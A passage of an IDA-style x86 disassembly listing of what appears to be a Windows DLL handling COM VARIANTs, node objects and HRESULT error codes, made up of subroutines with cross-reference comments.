		jmp	short loc_69B48B26
; ---------------------------------------------------------------------------


loc_69B48B24:				; CODE XREF: sub_69B48B01+15j
		xor	eax, eax


loc_69B48B26:				; CODE XREF: sub_69B48B01+21j
		lea	ecx, [eax+1Ch]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B48B31:				; CODE XREF: sub_69B48B01+Aj
		push	esi
		call	sub_69B438E3
		pop	esi
		retn
sub_69B48B01	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48B39	proc near		; CODE XREF: sub_69B3EB54+1Bp
					; sub_69B44884+1Ap ...

var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B17275
		test	eax, eax
		jz	short loc_69B48B86
		mov	eax, [esi+8]
		mov	edi, [esi+0Ch]
		shr	eax, 1Fh
		test	al, 1
		jnz	short loc_69B48B67
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F8h]
		test	al, al
		jnz	short loc_69B48B67
		xor	bl, bl
		jmp	short loc_69B48B69
; ---------------------------------------------------------------------------


loc_69B48B67:				; CODE XREF: sub_69B48B39+1Aj
					; sub_69B48B39+28j
		mov	bl, 1


loc_69B48B69:				; CODE XREF: sub_69B48B39+2Cj
		mov	ecx, esi
		call	sub_69B183BB
		mov	esi, eax
		xor	eax, eax
		test	bl, bl
		setnz	al
		cmp	esi, eax
		jnz	short loc_69B48BE5
		mov	ecx, edi
		call	sub_69B3F0A6
		jmp	short loc_69B48BE5
; ---------------------------------------------------------------------------


loc_69B48B86:				; CODE XREF: sub_69B48B39+Dj
		push	ebp
		lea	eax, [esi+4]
		push	eax		; Target
		call	sub_69B18980
		mov	ebp, [esi+0Ch]
		mov	ebx, eax
		mov	eax, [esi+8]
		shr	eax, 1Fh
		test	al, 1
		jnz	short loc_69B48BB2
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F8h]
		test	al, al
		mov	[esp+14h+var_1], 0
		jz	short loc_69B48BB7


loc_69B48BB2:				; CODE XREF: sub_69B48B39+64j
		mov	[esp+14h+var_1], 1


loc_69B48BB7:				; CODE XREF: sub_69B48B39+77j
		test	bl, 1
		jz	short loc_69B48BC3
		mov	edi, ebx
		shr	edi, 3
		jmp	short loc_69B48BC5
; ---------------------------------------------------------------------------


loc_69B48BC3:				; CODE XREF: sub_69B48B39+81j
		xor	edi, edi


loc_69B48BC5:				; CODE XREF: sub_69B48B39+88j
		push	ebx
		mov	ecx, esi
		call	sub_69B183E6
		mov	esi, eax
		xor	eax, eax
		cmp	[esp+14h+var_1], al
		setnz	al
		inc	eax
		cmp	edi, eax
		jnz	short loc_69B48BE4
		mov	ecx, ebp
		call	sub_69B3F0A6


loc_69B48BE4:				; CODE XREF: sub_69B48B39+A2j
		pop	ebp


loc_69B48BE5:				; CODE XREF: sub_69B48B39+42j
					; sub_69B48B39+4Bj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_69B48B39	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48BEC	proc near		; DATA XREF: .text:69B1DDD8o

arg_0		= dword	ptr  4

		mov	eax, [ecx+8]
		push	[esp+arg_0]
		shr	eax, 11h
		test	al, 1
		jz	short loc_69B48C03
		mov	eax, [ecx+14h]
		add	eax, 14h
		push	eax
		jmp	short loc_69B48C07
; ---------------------------------------------------------------------------


loc_69B48C03:				; CODE XREF: sub_69B48BEC+Cj
		add	ecx, 14h
		push	ecx


loc_69B48C07:				; CODE XREF: sub_69B48BEC+15j
		call	sub_69B17320
		retn	4
sub_69B48BEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48C0F	proc near		; CODE XREF: sub_69B59D9A+21p
					; sub_69B59DC5+9p ...
		add	ecx, 10h
		jmp	sub_69B48718
sub_69B48C0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48C17	proc near		; CODE XREF: sub_69B59D24j
					; DATA XREF: .text:69B1DE08o

arg_0		= dword	ptr  4

		or	byte ptr [ecx+0Ah], 0Ch
		push	[esp+arg_0]
		add	ecx, 1Ch
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B48C17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48C2B	proc near		; CODE XREF: sub_69B4B3ED+327p
					; sub_69B4BD17+26Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0
		push	[esp+0Ch+arg_0]
		mov	edi, ecx
		push	0Ch
		call	sub_69B8AB3E
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B48C80
		mov	ecx, [esi+8]
		lea	eax, [ecx-1]
		xor	eax, ecx
		and	eax, 7FFFFFFFh
		xor	eax, ecx
		test	eax, 0FFFFFFFFh
		mov	[esi+8], eax
		jnz	short loc_69B48C80
		push	0
		push	esi
		call	sub_69B17320
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_69B48C79
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B48C79:				; CODE XREF: sub_69B48C2B+3Dj
		and	dword ptr [esi+4], 0
		dec	dword ptr [edi+0Ch]


loc_69B48C80:				; CODE XREF: sub_69B48C2B+15j
					; sub_69B48C2B+2Ej
		pop	edi
		pop	esi
		retn	4
sub_69B48C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48C85	proc near		; CODE XREF: sub_69B4BD17+2E1p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		push	8
		call	sub_69B8AB3E
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B48CAB
		push	0
		push	edi
		call	sub_69B17320
		and	dword ptr [edi+4], 0
		dec	dword ptr [esi+0Ch]


loc_69B48CAB:				; CODE XREF: sub_69B48C85+15j
		pop	edi
		pop	esi
		retn	4
sub_69B48C85	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48CB0	proc near		; CODE XREF: sub_69B5B878+26p
					; sub_69B5C83A+8Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		mov	ecx, dword_69B95AB8
		call	sub_69B1A954
		mov	eax, [eax]
		retn	4
sub_69B48CB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48CC4	proc near		; CODE XREF: sub_69B4BD17+2CBp
					; sub_69B4FCAC+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 20h
		push	esi
		mov	esi, eax
		jg	short loc_69B48CD7
		call	sub_69B2E6D8


loc_69B48CD7:				; CODE XREF: sub_69B48CC4+Cj
		mov	ecx, [esi+8Ch]
		xor	eax, eax
		cmp	ecx, [esp+4+arg_0]
		pop	esi
		setz	al
		retn	4
sub_69B48CC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48CEA	proc near		; CODE XREF: sub_69B41554+92p
					; sub_69B423AC:loc_69B42425p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 1Dh
		test	cl, 1
		jnz	short loc_69B48D48
		shr	eax, 18h
		and	eax, 1Fh
		cmp	eax, 4
		jz	short loc_69B48D48
		cmp	eax, 6
		jle	short loc_69B48D5C
		cmp	eax, 8
		jle	short loc_69B48D48
		cmp	eax, 0Bh
		jz	short loc_69B48D48
		cmp	eax, 0Fh
		jnz	short loc_69B48D5C
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B48D5C
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	ecx, [eax+10h]
		cmp	ecx, dword_69B95A5C
		jz	short loc_69B48D48
		test	ecx, ecx
		jnz	short loc_69B48D5C
		mov	eax, [eax+14h]
		cmp	eax, dword_69B95A6C
		jnz	short loc_69B48D5C


loc_69B48D48:				; CODE XREF: sub_69B48CEA+Ej
					; sub_69B48CEA+19j ...
		push	0
		push	0C00CE212h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B48D5C:				; CODE XREF: sub_69B48CEA+1Ej
					; sub_69B48CEA+2Dj ...
		xor	al, al
		pop	esi
		retn
sub_69B48CEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48D60	proc near		; CODE XREF: sub_69B4B3ED+37p
					; sub_69B4C674+2E4p
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B48D72
		mov	edi, [eax+8]
		jmp	short loc_69B48D74
; ---------------------------------------------------------------------------


loc_69B48D72:				; CODE XREF: sub_69B48D60+Bj
		xor	edi, edi


loc_69B48D74:				; CODE XREF: sub_69B48D60+10j
		mov	eax, [esi+8]
		shr	eax, 0Eh
		test	al, 1
		jnz	short loc_69B48DAA
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		mov	esi, eax
		jg	short loc_69B48D90
		call	sub_69B2E6D8


loc_69B48D90:				; CODE XREF: sub_69B48D60+29j
		cmp	[esi+88h], edi
		jz	short loc_69B48DAA
		test	edi, edi
		jz	short loc_69B48DA6
		mov	eax, dword_69B95A5C
		cmp	eax, [edi+10h]
		jz	short loc_69B48DAA


loc_69B48DA6:				; CODE XREF: sub_69B48D60+3Aj
		xor	eax, eax
		jmp	short loc_69B48DAD
; ---------------------------------------------------------------------------


loc_69B48DAA:				; CODE XREF: sub_69B48D60+1Cj
					; sub_69B48D60+36j ...
		xor	eax, eax
		inc	eax


loc_69B48DAD:				; CODE XREF: sub_69B48D60+48j
		pop	edi
		pop	esi
		retn
sub_69B48D60	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48DB0	proc near		; CODE XREF: sub_69B4C3EC+1B3p
		mov	eax, ecx
		and	dword ptr [eax+20h], 0
		retn
sub_69B48DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48DB7	proc near		; CODE XREF: sub_69B4C3EC+268p
		add	ecx, 20h
		push	ecx
		call	sub_69B17230
		retn
sub_69B48DB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48DC1	proc near		; CODE XREF: sub_69B48E02+1Fp
					; sub_69B48F23+4p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		xor	eax, eax
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B48DFE
		mov	eax, [esi]
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B48DDC
		xor	eax, eax
		jmp	short loc_69B48DFE
; ---------------------------------------------------------------------------


loc_69B48DDC:				; CODE XREF: sub_69B48DC1+15j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	short loc_69B48DFE
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+100h]
		test	eax, eax
		jz	short loc_69B48DFE
		mov	ecx, [esp+4+arg_0]
		mov	[ecx], eax


loc_69B48DFE:				; CODE XREF: sub_69B48DC1+9j
					; sub_69B48DC1+19j ...
		pop	esi
		retn	4
sub_69B48DC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B48E02	proc near		; CODE XREF: sub_69B419B4+55p

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		xor	ebx, ebx
		call	dword ptr [eax+0F4h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B48E3D
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_69B48DC1
		jmp	short loc_69B48E39
; ---------------------------------------------------------------------------


loc_69B48E28:				; CODE XREF: sub_69B48E02+39j
		cmp	eax, esi
		jz	short loc_69B48E44
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_69B47D9F


loc_69B48E39:				; CODE XREF: sub_69B48E02+24j
		test	eax, eax
		jnz	short loc_69B48E28


loc_69B48E3D:				; CODE XREF: sub_69B48E02+17j
					; sub_69B48E02+4Ej
		xor	eax, eax


loc_69B48E3F:				; CODE XREF: sub_69B48E02+52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B48E44:				; CODE XREF: sub_69B48E02+28j
		test	ebx, ebx
		jz	short loc_69B48E52
		mov	eax, [ebx+8]
		shr	eax, 14h
		test	al, 1
		jnz	short loc_69B48E3D


loc_69B48E52:				; CODE XREF: sub_69B48E02+44j
		mov	eax, ebx
		jmp	short loc_69B48E3F
sub_69B48E02	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48E56	proc near		; CODE XREF: sub_69B14EAC+181p
					; sub_69B4936A+3Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Bh], 1Fh
		jz	short loc_69B48E63
		xor	eax, eax
		jmp	short loc_69B48E9B
; ---------------------------------------------------------------------------


loc_69B48E63:				; CODE XREF: sub_69B48E56+7j
		push	ebx
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		jnz	short loc_69B48E77
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	edi, eax


loc_69B48E77:				; CODE XREF: sub_69B48E56+15j
		xor	ebx, ebx
		test	edi, edi
		jz	short loc_69B48E97
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	eax, eax
		jz	short loc_69B48E97
		mov	ecx, [edi+48h]
		test	ecx, ecx
		jz	short loc_69B48E97
		push	eax
		call	sub_69B1980A
		mov	ebx, eax


loc_69B48E97:				; CODE XREF: sub_69B48E56+25j
					; sub_69B48E56+30j ...
		pop	edi
		mov	eax, ebx
		pop	ebx


loc_69B48E9B:				; CODE XREF: sub_69B48E56+Bj
		pop	esi
		retn	4
sub_69B48E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B48E9F	proc near		; CODE XREF: sub_69B48ED5+Ap
					; sub_69B4928E+2Bp

pvarg		= VARIANTARG ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	ax, [esi+8]
		cmp	ax, 1
		jz	short loc_69B48ED2
		mov	word ptr [ebp+pvarg.anonymous_0], ax
		mov	eax, [esi+18h]
		mov	dword ptr [ebp+pvarg.anonymous_0+8], eax
		mov	eax, [esi+1Ch]
		mov	dword ptr [ebp+pvarg.anonymous_0+0Ch], eax
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		mov	word ptr [esi+8], 1


loc_69B48ED2:				; CODE XREF: sub_69B48E9F+11j
		pop	esi
		leave
		retn
sub_69B48E9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48ED5	proc near		; CODE XREF: sub_69B493EE+FBp
					; sub_69B495EC+177p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	word ptr [esi+8], 1
		jz	short loc_69B48EE4
		call	sub_69B48E9F


loc_69B48EE4:				; CODE XREF: sub_69B48ED5+8j
		mov	eax, [esi+8]
		shr	eax, 4
		and	eax, 3Fh
		cmp	eax, 1
		jz	short loc_69B48F1C
		cmp	eax, 25h
		jz	short loc_69B48F1C
		cmp	eax, 26h
		jz	short loc_69B48F1C
		cmp	eax, 1Ch
		jz	short loc_69B48F1C
		mov	eax, [esp+4+arg_0]
		mov	cx, [eax]
		mov	[esi+8], cx
		mov	ecx, [eax+8]
		mov	[esi+18h], ecx
		mov	eax, [eax+0Ch]
		mov	[esi+1Ch], eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B48F1C:				; CODE XREF: sub_69B48ED5+1Bj
					; sub_69B48ED5+20j ...
		pop	esi
		jmp	VariantClear
sub_69B48ED5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48F23	proc near		; CODE XREF: sub_69B4A077+34p
					; sub_69B4A73D+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_69B48DC1
		test	eax, eax
		jz	short locret_69B48F3D
		mov	ecx, [eax+8]
		shr	ecx, 14h
		test	cl, 1
		jnz	short locret_69B48F3D
		xor	eax, eax

locret_69B48F3D:			; CODE XREF: sub_69B48F23+Bj
					; sub_69B48F23+16j
		retn	4
sub_69B48F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B48F40	proc near		; CODE XREF: sub_69B47E6C+Bp
					; sub_69B4B3ED+55p ...

var_14		= byte ptr -14h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		mov	ebx, [ebp+arg_14]
		test	ebx, ebx
		push	edi
		mov	edi, ecx
		jnz	short loc_69B48F5E
		push	20h
		lea	ecx, [ebp+var_14]
		call	sub_69B3109C
		lea	ebx, [ebp+var_14]


loc_69B48F5E:				; CODE XREF: sub_69B48F40+Fj
		test	byte ptr [edi+0Ah], 0Ch
		mov	ecx, edi
		jnz	loc_69B49082
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B48DC1


loc_69B48F74:				; CODE XREF: sub_69B48F40+A3j
		mov	esi, eax
		cmp	esi, [ebp+arg_C]
		jnz	short loc_69B48FAC
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_69B48F97
		mov	al, [ecx+0Bh]
		and	al, 1Fh
		cmp	al, 11h
		jnz	short loc_69B48F93
		push	ebx
		call	sub_69B47E6C
		jmp	short loc_69B48FAC
; ---------------------------------------------------------------------------


loc_69B48F93:				; CODE XREF: sub_69B48F40+49j
		mov	esi, ecx
		jmp	short loc_69B48FAC
; ---------------------------------------------------------------------------


loc_69B48F97:				; CODE XREF: sub_69B48F40+40j
		cmp	[ebp+arg_4], 0
		jz	short loc_69B48FAC
		push	2
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	[ebp+arg_0]
		call	sub_69B31369


loc_69B48FAC:				; CODE XREF: sub_69B48F40+39j
					; sub_69B48F40+51j ...
		test	esi, esi
		jz	loc_69B49075
		cmp	esi, [ebp+arg_10]
		jz	short loc_69B48FD8
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		sub	eax, 0
		jz	short loc_69B4902C
		dec	eax
		jz	short loc_69B49012
		sub	eax, 5
		jz	short loc_69B49000
		sub	eax, 5
		jz	short loc_69B48FE5
		sub	eax, 4
		jnz	short loc_69B4904F


loc_69B48FD8:				; CODE XREF: sub_69B48F40+77j
					; sub_69B48F40+127j
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_69B47DCC
		jmp	short loc_69B48F74
; ---------------------------------------------------------------------------


loc_69B48FE5:				; CODE XREF: sub_69B48F40+91j
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_69B4904F
		mov	ecx, esi
		call	sub_69B486D2
		test	eax, eax
		jz	short loc_69B4904F
		push	ebx
		mov	ecx, eax
		call	sub_69B47E6C
		jmp	short loc_69B4904F
; ---------------------------------------------------------------------------


loc_69B49000:				; CODE XREF: sub_69B48F40+8Cj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	short loc_69B4904F
		push	0
		jmp	short loc_69B49022
; ---------------------------------------------------------------------------


loc_69B49012:				; CODE XREF: sub_69B48F40+87j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	short loc_69B4904F
		push	2


loc_69B49022:				; CODE XREF: sub_69B48F40+D0j
		push	eax
		mov	ecx, ebx
		call	sub_69B3146D
		jmp	short loc_69B4904F
; ---------------------------------------------------------------------------


loc_69B4902C:				; CODE XREF: sub_69B48F40+84j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	edx, [eax]
		push	0
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		push	0C00CE102h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4904F:				; CODE XREF: sub_69B48F40+96j
					; sub_69B48F40+A9j ...
		mov	eax, [esi+8]
		shr	eax, 0Ch
		test	al, 1
		jz	short loc_69B49064
		push	1
		push	20h
		mov	ecx, ebx
		call	sub_69B312D9


loc_69B49064:				; CODE XREF: sub_69B48F40+117j
		cmp	esi, [ebp+arg_8]
		jnz	loc_69B48FD8
		mov	esi, [ebp+arg_C]
		jmp	loc_69B48FAC
; ---------------------------------------------------------------------------


loc_69B49075:				; CODE XREF: sub_69B48F40+6Ej
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+110h]
		pop	esi
		jmp	short loc_69B4908A
; ---------------------------------------------------------------------------


loc_69B49082:				; CODE XREF: sub_69B48F40+24j
		mov	eax, [edi]
		call	dword ptr [eax+110h]


loc_69B4908A:				; CODE XREF: sub_69B48F40+140j
		test	eax, eax
		jz	short loc_69B49098
		push	2
		mov	ecx, ebx
		push	eax
		call	sub_69B3146D


loc_69B49098:				; CODE XREF: sub_69B48F40+14Cj
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	short loc_69B490A6
		mov	ecx, ebx
		call	sub_69B31267


loc_69B490A6:				; CODE XREF: sub_69B48F40+15Dj
		pop	edi
		pop	ebx
		leave
		retn	18h
sub_69B48F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B490AC	proc near		; CODE XREF: sub_69B40333+5p
					; sub_69B4A201+Bp
		mov	ecx, [ecx+0Ch]
		xor	al, al
		cmp	[ecx+8Eh], al
		jz	short locret_69B490BB
		inc	al

locret_69B490BB:			; CODE XREF: sub_69B490AC+Bj
		retn
sub_69B490AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B490BC	proc near		; CODE XREF: sub_69B173D1+173p
					; sub_69B173D1+19Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_C]
		mov	eax, [ebx+8]
		push	esi
		mov	esi, [ebx+0Ch]
		push	edi
		mov	edi, [eax+10h]
		and	[ebp+arg_C], 0
		test	esi, esi
		jnz	short loc_69B490E2
		cmp	[ebp+arg_10], 0
		jnz	loc_69B49175
		jmp	short loc_69B490EA
; ---------------------------------------------------------------------------


loc_69B490E2:				; CODE XREF: sub_69B490BC+18j
		test	edi, edi
		jz	loc_69B49175


loc_69B490EA:				; CODE XREF: sub_69B490BC+24j
		mov	ecx, [ebp+arg_4]
		push	0
		lea	eax, [ebp+arg_C]
		push	eax
		push	esi
		call	sub_69B4D2DF
		cmp	eax, edi
		jz	short loc_69B49175
		mov	eax, [ebp+arg_8]
		cmp	[ebp+arg_C], eax
		jz	short loc_69B49175
		mov	ecx, [ebp+arg_4]
		push	eax
		push	0
		push	edi
		push	esi
		call	sub_69B4DCB3
		mov	edi, [ebp+arg_0]
		push	20h
		mov	ecx, edi
		call	sub_69B8A903
		push	offset off_69B1F304
		mov	ecx, edi
		call	sub_69B8A970
		test	esi, esi
		jz	short loc_69B49146
		push	3Ah
		mov	ecx, edi
		call	sub_69B8A903
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B8A970


loc_69B49146:				; CODE XREF: sub_69B490BC+70j
		push	3Dh
		mov	ecx, edi
		call	sub_69B8A903
		push	22h
		mov	ecx, edi
		call	sub_69B8A903
		mov	ecx, [ebx+10h]
		test	ecx, ecx
		jz	short loc_69B4916C
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B8A970


loc_69B4916C:				; CODE XREF: sub_69B490BC+A1j
		push	22h
		mov	ecx, edi
		call	sub_69B8A903


loc_69B49175:				; CODE XREF: sub_69B490BC+1Ej
					; sub_69B490BC+28j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	14h
sub_69B490BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4917C	proc near		; DATA XREF: .text:69B152D0o
					; .text:69B1DD20o
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B49189
		mov	eax, [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_69B49189:				; CODE XREF: sub_69B4917C+7j
		xor	eax, eax
		retn
sub_69B4917C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4918C	proc near		; DATA XREF: .text:69B152D8o
					; .text:69B1DD28o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		mov	eax, [eax+0Ch]
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0Ch]
		mov	ecx, [ecx+70h]
		push	edx
		push	eax
		call	sub_69B4DFFF
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0F0h]
		pop	esi
		retn	4
sub_69B4918C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B491B5	proc near		; DATA XREF: .text:69B1536Co
					; .text:69B1DDBCo
		mov	edx, [ecx+8]
		mov	eax, edx
		shr	eax, 0Bh
		and	al, 1
		jnz	short locret_69B491D0
		shr	edx, 10h
		test	dl, 1
		jnz	short locret_69B491D0
		call	sub_69B489AF
		xor	al, al

locret_69B491D0:			; CODE XREF: sub_69B491B5+Aj
					; sub_69B491B5+12j
		retn
sub_69B491B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B491D1	proc near		; DATA XREF: .text:69B152A0o
					; .text:69B1DCF0o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		call	dword_69B92948
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B491EB
		mov	eax, 80004005h
		jmp	short loc_69B49214
; ---------------------------------------------------------------------------


loc_69B491EB:				; CODE XREF: sub_69B491D1+11j
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_C]
		push	esi
		call	sub_69B1B406
		mov	ecx, [ebp+arg_0]
		call	sub_69B48B39
		lea	ecx, [ebp+var_C]
		mov	edi, eax
		call	sub_69B1976C
		push	esi
		call	dword_69B92944
		mov	eax, edi
		pop	edi


loc_69B49214:				; CODE XREF: sub_69B491D1+18j
		pop	esi
		leave
		retn	4
sub_69B491D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B49219	proc near		; CODE XREF: sub_69B3D2F2+4Fp
					; sub_69B49504+73p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B1BE7F
		cmp	[ebp+arg_10], 0
		mov	esi, eax
		jz	short loc_69B4924F
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_69B190C1
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+114h]
		jmp	short loc_69B49262
; ---------------------------------------------------------------------------


loc_69B4924F:				; CODE XREF: sub_69B49219+1Cj
		cmp	[ebp+arg_C], 0
		jz	short loc_69B49262
		push	[ebp+arg_C]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+114h]


loc_69B49262:				; CODE XREF: sub_69B49219+34j
					; sub_69B49219+3Aj
		mov	edi, [ebp+arg_8]
		test	edi, edi
		jz	short loc_69B49286
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B4927E
		mov	ecx, edi
		call	sub_69B49504


loc_69B4927E:				; CODE XREF: sub_69B49219+5Cj
		push	esi
		mov	ecx, edi
		call	sub_69B483A4


loc_69B49286:				; CODE XREF: sub_69B49219+4Ej
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	20h
sub_69B49219	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4928E	proc near		; DATA XREF: .text:69B1DD1Co
		push	esi
		mov	esi, ecx
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jnz	short loc_69B492A6
		mov	ecx, [esi+0Ch]
		test	ecx, ecx
		jz	short loc_69B492A6
		mov	eax, [ecx]
		call	dword ptr [eax+18h]


loc_69B492A6:				; CODE XREF: sub_69B4928E+Aj
					; sub_69B4928E+11j
		and	byte ptr [esi+0Bh], 0DFh
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 1Eh
		test	cl, 1
		jz	short loc_69B492C0
		mov	ecx, esi
		call	sub_69B48E9F
		jmp	short loc_69B49314
; ---------------------------------------------------------------------------


loc_69B492C0:				; CODE XREF: sub_69B4928E+27j
		shr	eax, 12h
		and	eax, 3
		jz	short loc_69B492E0
		cmp	eax, 1
		jle	short loc_69B49314
		cmp	eax, 3
		jg	short loc_69B49314
		mov	eax, [esi]
		mov	ecx, esi


loc_69B492D6:				; CODE XREF: sub_69B4928E+64j
		push	0
		call	dword ptr [eax+114h]
		jmp	short loc_69B49314
; ---------------------------------------------------------------------------


